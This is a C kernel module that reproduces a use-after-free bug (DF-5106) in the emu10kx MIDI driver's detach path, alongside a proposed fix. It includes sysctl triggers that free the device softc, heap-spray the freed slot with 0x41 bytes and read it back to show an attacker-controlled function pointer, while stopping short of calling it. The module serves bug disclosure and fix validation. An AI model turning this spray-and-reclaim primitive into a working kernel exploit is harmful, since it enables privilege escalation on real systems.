/*
 * simid.ko - framework-level reproduction of DF-5106:
 *   sys/dev/sound/pci/emu10kx-midi.c:229 emu_midi_detach() ignores the
 *   return value of mpu401_uninit().  When the MIDI cdev (/dev/midiN.M,
 *   mode 0666) is open, mpu401_uninit() -> midi_uninit() returns ENXIO
 *   WITHOUT freeing the mpu401 / snd_midi / cdev, yet emu_midi_detach()
 *   still returns 0.  newbus then kfrees the device softc
 *   (kern/subr_bus.c device_detach -> device_set_driver(NULL) ->
 *   kfree(dev->softc)), while:
 *     - the cdev stays live with si_drv1 = m (snd_midi)
 *     - m->cookie points at the FREED softc
 *     - m->si points into the (unloadable) driver module
 *     - the mpu401 callout stays armed
 *
 * This module reproduces the exact attach/detach call sequence of
 * emu10kx-midi.c against the REAL mpu401/midi framework, minus only the
 * emu10kx MMIO hardware (the mpufoi callbacks log instead of touching
 * registers - the bug under test is pure object lifetime, not MMIO).
 *
 * Stage A (module stays loaded):
 *   sysctl hw.simid.detach=1  -> run the emu_midi_detach body:
 *        rv = mpu401_uninit(m);   [rv ignored, like emu10kx-midi.c:229]
 *        lockuninit(&sc->lock);
 *        kfree(sc);               [what newbus does after detach==0]
 *   sysctl hw.simid.spray=1  -> reclaim the freed softc with 0x41-filled
 *        same-size M_DEVBUF allocations, proving attacker-controlled
 *        content is read back by the still-live callbacks.
 *
 * Stage B (full kldunload scenario, exactly kldunload snd_emu10kx_midi
 * while a user holds the midi device open):
 *   kldunload simid -> MOD_UNLOAD runs the same ignored-failure detach,
 *   unload SUCCEEDS (like emu_midi_detach returning 0), module code is
 *   unmapped, the leaked m->si now points at unmapped VA -> the still-
 *   armed mpu401 callout (or the user's next write) panics the kernel.
 */

#include <sys/param.h>
#include <sys/types.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/lock.h>
#include <sys/kobj.h>
#include <sys/sysctl.h>
#include <sys/bus.h>		/* driver_intr_t, for mpu401.h */

#include <dev/sound/midi/midi.h>
#include <dev/sound/midi/mpu401.h>
#include "mpufoi_if.h"

#define SIM_MAGIC_LIVE	0x51D10505	/* "SIMID 505" */

struct sim_softc {
	struct lock	lock;
	struct mpu401	*mpu;
	mpu401_intr_t	*mpu_intr;
	uint32_t	magic;
	int		detached;
	char		pad[64];
};

static struct sim_softc *g_sc;
static int g_freed;
static uint32_t g_lastmagic;

/* ---------------- mpufoi callbacks (the emu_mpu_class analogue) ------ */

static unsigned char
sim_mread(struct mpu401 *arg __unused, void *cookie, int reg)
{
	struct sim_softc *sc = cookie;
	static int n;

	if (g_freed && n++ < 4)
		kprintf("simid: mread on %s softc %p (reg %#x) magic=%08x\n",
		    g_freed ? "FREED" : "live", sc, reg, sc->magic);
	return (0);
}

static void
sim_mwrite(struct mpu401 *arg __unused, void *cookie, int reg,
    unsigned char b)
{
	struct sim_softc *sc = cookie;
	static int n;

	if (g_freed && n++ < 4)
		kprintf("simid: mwrite on %s softc %p (reg %#x val %#x) "
		    "magic=%08x\n", g_freed ? "FREED" : "live", sc, reg, b,
		    sc->magic);
}

static int
sim_muninit(struct mpu401 *arg __unused, void *cookie)
{
	/* same body as emu_muninit (emu10kx-midi.c:95-105) */
	struct sim_softc *sc = cookie;

	lockmgr(&sc->lock, LK_EXCLUSIVE);
	sc->mpu_intr = NULL;
	lockmgr(&sc->lock, LK_RELEASE);
	return (0);
}

static kobj_method_t sim_mpu_methods[] = {
	KOBJMETHOD(mpufoi_read, sim_mread),
	KOBJMETHOD(mpufoi_write, sim_mwrite),
	KOBJMETHOD(mpufoi_uninit, sim_muninit),
	KOBJMETHOD_END
};
static DEFINE_CLASS(sim_mpu, sim_mpu_methods, 0);

/* ---------------- the softintr (emu_midi_intr analogue) -------------- */

static void
sim_intr(void *p)
{
	/*
	 * Faithful replica of emu_midi_card_intr (emu10kx-midi.c:115-129):
	 * calls the mpu401 drain callback, which is what keeps the outq
	 * draining and M_TXEN/wchan in their normal state.
	 */
	struct sim_softc *sc = p;
	static int n;

	if (!g_freed) {
		if (sc->mpu_intr)
			(sc->mpu_intr)(sc->mpu);
		return;
	}
	/*
	 * Post-free: sc is FREED memory.  Do NOT actually call through the
	 * stale sc->mpu_intr (that is the arbitrary-call primitive - calling
	 * 0x4141414141414141 would be the exploit; stage A stays non-fatal
	 * to collect evidence).  Just prove what the attacker controls.
	 */
	n++;
	if (n <= 6 || sc->magic != g_lastmagic) {
		kprintf("simid: UAF: softintr on FREED softc %p magic=%08x "
		    "mpu_intr=%p%s\n", sc, sc->magic, sc->mpu_intr,
		    sc->magic == 0x41414141 ? "   <== SPRAY-RECLAIMED: "
		    "calling mpu_intr here = arbitrary kernel call" : "");
		g_lastmagic = sc->magic;
	}
}

/* ---------------- emu_midi_detach replica ---------------------------- */

static int
simid_fake_detach(const char *why)
{
	int rv;

	/* exactly emu10kx-midi.c:229-232, except we LOG the ignored rv */
	rv = mpu401_uninit(g_sc->mpu);
	kprintf("simid[%s]: mpu401_uninit() returned %d (%s)%s\n", why, rv,
	    rv ? "FAILURE - m NOT freed, midi cdev STILL LIVE" : "success",
	    rv ? "  <<< emu_midi_detach IGNORES this and returns 0" : "");

#ifdef FIXED
	/* the proposed fix for emu10kx-midi.c:222-233: propagate the
	 * failure - abort the detach, keep everything consistent */
	if (rv != 0) {
		kprintf("simid[%s,FIXED]: aborting detach (device stays "
		    "attached, softc NOT freed, module NOT unloadable)\n",
		    why);
		return (rv);
	}
#endif

	if (rv == 0) {
		/* the success path frees m inside mpu401_uninit; then the
		 * caller (emu_midi_detach) proceeds identically. */
	}
	/* emu10kx-midi.c:231 */
	lockuninit(&g_sc->lock);
	/* newbus frees the softc after a successful detach:
	 * kern/subr_bus.c:2148 device_set_driver(dev, NULL) -> kfree */
	kfree(g_sc, M_DEVBUF);
	g_freed = 1;
	kprintf("simid[%s]: softc kfree'd (newbus behaviour after "
	    "detach()==0); mpu401/snd_midi/cdev/callout still alive\n", why);
	return (0);
}

/* ---------------- sysctl triggers ------------------------------------ */

static int
sysctl_simid_detach(SYSCTL_HANDLER_ARGS)
{
	int error, t = 0;

	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (t == 1 && !g_freed)
		simid_fake_detach("sysctl");
	return (0);
}
SYSCTL_PROC(_hw, OID_AUTO, simid_detach, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, sysctl_simid_detach, "I", "run the emu_midi_detach body");

static int
sysctl_simid_spray(SYSCTL_HANDLER_ARGS)
{
	int error, t = 0, i;
	void *p[64];

	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (t != 1)
		return (0);
	for (i = 0; i < 64; i++) {
		p[i] = kmalloc(sizeof(struct sim_softc), M_DEVBUF,
		    M_WAITOK | M_ZERO);
		memset(p[i], 0x41, sizeof(struct sim_softc) - 1);
	}
	for (i = 0; i < 64; i++)
		kfree(p[i], M_DEVBUF);
	kprintf("simid: sprayed + freed 64 x %zu-byte M_DEVBUF blocks "
	    "filled with 0x41\n", sizeof(struct sim_softc));
	return (0);
}
SYSCTL_PROC(_hw, OID_AUTO, simid_spray, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, sysctl_simid_spray, "I", "reclaim the freed softc slot");

static int
sysctl_simid_peek(SYSCTL_HANDLER_ARGS)
{
	int error, t = 0;

	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (t != 1 || !g_freed)
		return (0);
	/* deliberate UAF read of the freed softc slot: shows whether the
	 * spray's 0x41 content now occupies it (attacker-controlled) */
	kprintf("simid: PEEK freed slot %p: magic=%08x mpu_intr=%p\n",
	    g_sc, g_sc->magic, g_sc->mpu_intr);
	return (0);
}
SYSCTL_PROC(_hw, OID_AUTO, simid_peek, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, sysctl_simid_peek, "I", "read the freed softc slot");

/* ---------------- module events -------------------------------------- */

static int
simid_modev(module_t mod, int type, void *data)
{
	int rv;

	switch (type) {
	case MOD_LOAD:
		g_sc = kmalloc(sizeof(*g_sc), M_DEVBUF, M_WAITOK | M_ZERO);
		lockinit(&g_sc->lock, "simid", 0, LK_CANRECURSE);
		g_sc->magic = SIM_MAGIC_LIVE;
		/* emu_midi_attach analogue: emu10kx-midi.c:201 */
		g_sc->mpu = mpu401_init(&sim_mpu_class, g_sc, sim_intr,
		    &g_sc->mpu_intr);
		if (g_sc->mpu == NULL) {
			kfree(g_sc, M_DEVBUF);
			return (ENOMEM);
		}
		kprintf("simid: loaded (softc %p, %zu bytes, mpu %p) - "
		    "open+write /dev/midi*.* then "
		    "sysctl hw.simid.detach=1 / kldunload\n", g_sc,
		    sizeof(*g_sc), g_sc->mpu);
		return (0);
	case MOD_UNLOAD:
		/* kldunload snd_emu10kx_midi: detach runs, fails silently,
		 * unload still succeeds, module code unmapped. */
		if (!g_freed) {
			rv = simid_fake_detach("kldunload");
#ifdef FIXED
			if (rv != 0)
				return (rv);	/* unload refused: EBUSY */
#endif
		} else
			kprintf("simid[kldunload]: softc already freed; "
			    "midi cdev still open+live, m->si now DANGLING "
			    "into unmapped module VA\n");
		return (0);
	}
	return (0);
}

static moduledata_t simid_mod = {
	"simid",
	simid_modev,
	NULL
};
DECLARE_MODULE(simid, simid_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
/* SOUND_MODVER == 5 (dev/sound/pcm/sound.h); spelled out so this module
 * does not need to drag in the whole pcm sound.h */
MODULE_DEPEND(simid, sound, 5, 5, 5);
